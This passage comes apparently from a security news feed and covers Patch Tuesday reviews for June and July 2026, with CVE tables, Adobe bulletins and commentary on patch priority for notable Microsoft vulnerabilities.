  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The July 2026 Security Update Review]]></title>
<description><![CDATA[Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly...]]></description>
<link>https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694560/hacking/the-july-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:51 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">Well folks. Here we are. The bug apocalypse has fully descended upon us. I’ll do my best to sort this out in some way meaningful, but this month’s release shows us the nay-sayers were right, and I’ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for July 2026</strong></p><p class="">Adobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I’ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We’ll see if other vendors follow their lead.</p><p class="">For the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.</p><p class="">Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html" target="_blank">APSB26-82</a></td>
    <td>Adobe ColdFusion</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.9</td>
    <td>No</td>
    <td>1</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-73.html" target="_blank">APSB26-73</a></td>
    <td>Adobe Commerce</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-78.html" target="_blank">APSB26-78</a></td>
    <td>Adobe After Effects</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/animate/apsb26-83.html" target="_blank">APSB26-83</a></td>
    <td>Adobe Animate</td>
    <td>6</td>
    <td>Critical</td>
    <td>8.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/audition/apsb26-71.html" target="_blank">APSB26-71</a></td>
    <td>Adobe Audition</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/bridge/apsb26-81.html" target="_blank">APSB26-81</a></td>
    <td>Adobe Bridge</td>
    <td>6</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/creative-cloud/apsb26-77.html" target="_blank">APSB26-77</a></td>
    <td>Adobe Creative Cloud Desktop Application</td>
    <td>2</td>
    <td>Critical</td>
    <td>8.1</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-74.html" target="_blank">APSB26-74</a></td>
    <td>Adobe Experience Manager</td>
    <td>13</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-79.html" target="_blank">APSB26-79</a></td>
    <td>Adobe Illustrator</td>
    <td>5</td>
    <td>Critical</td>
    <td>9.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-72.html" target="_blank">APSB26-72</a></td>
    <td>Adobe Media Encoder</td>
    <td>5</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-76.html" target="_blank">APSB26-76</a></td>
    <td>Adobe Premiere Pro</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-80.html" target="_blank">APSB26-80</a></td>
    <td>Content Credentials SDK</td>
    <td>12</td>
    <td>Critical</td>
    <td>8.2</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>12 bulletins</td>
    <td>88</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">While nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you’re using these products, patch them. However, you can use you regular patch cadence here. </p><p class=""><strong>Microsoft Patches for July 2026</strong></p><p class="">Here it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone’s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won’t cover here. Here’s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years’ totals.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png" data-image-dimensions="2158x1150" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w" width="2158" height="1150" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4abf68b8-2f48-439d-8a92-bcc105d7b4f3/Picture1new.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  





  <p class="">The products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase “Windows components” does some pretty heavy lifting here, too, as just about everything you’ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.</p><p class="">So how do we eat this elephant? One byte at a time (pun intended). Let’s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><strong>CVE-2026-56155</strong></a><strong> - Active Directory Federation Services Elevation of Privilege Vulnerability<br></strong>This is one of several AD FS being patched this month, but it’s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56154"><strong>CVE-2026-56164</strong></a><strong> - Microsoft SharePoint Server Elevation of Privilege Vulnerability<br></strong>The other bug being exploited in the wild this month is a modest CVSS 5.3 – but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092"><strong>CVE-2026-57092</strong></a><strong> - Microsoft Windows VMSwitch Elevation of Privilege Vulnerability<br></strong>This patch rates the highest CVSS score for the month: a solid 9.9. It’s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn’t alone. If you’re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522"><strong>CVE-2026-50522</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644"><strong>58644</strong></a><strong> - Microsoft SharePoint Remote Code Execution Vulnerability<br></strong>This matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during <a href="https://www.zerodayinitiative.com/blog/2026/5/16/pwn2own-berlin-2026-day-three-results-and-master-of-pwn">Pwn2Own Berlin</a>, so it’s odd to see Microsoft list it as “Exploit Maturity Unknown” since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56190"><strong>CVE-2026-56190</strong></a><strong> - Remote Desktop Protocol Remote Code Execution Vulnerability</strong><br> This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008"><strong>CVE-2026-55008</strong></a><strong> - Microsoft Exchange Server Spoofing Vulnerability<br></strong>Ignore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it’s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session — no attachment needed, no macro warning, just viewing the message does it. If you’re using OWA, test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518"><strong>CVE-2026-50518</strong></a><strong> - Windows DHCP Server Remote Code Execution Vulnerability<br></strong>There are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188"><strong>CVE-2026-56188</strong></a><strong> - Windows Server Network driver Remote Code Execution Vulnerability<br></strong>Another Critical-rated bug, this one is caused by a race condition. It’s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don’t let the race condition lull you to sleep on a wormable bug.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55010"><strong>CVE-2026-55010</strong></a><strong> - Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability<br></strong>File this in the “why not” category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid’s Minecraft server (it is your kid’s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.</p><p class="">Here’s the full list of CVEs released by Microsoft for July 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-Jul-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155"><span>CVE-2026-56155</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164"><span>CVE-2026-56164</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl70">Yes</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661"><span>CVE-2026-50661</span></a></td>
  <td width="256" class="xl74">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
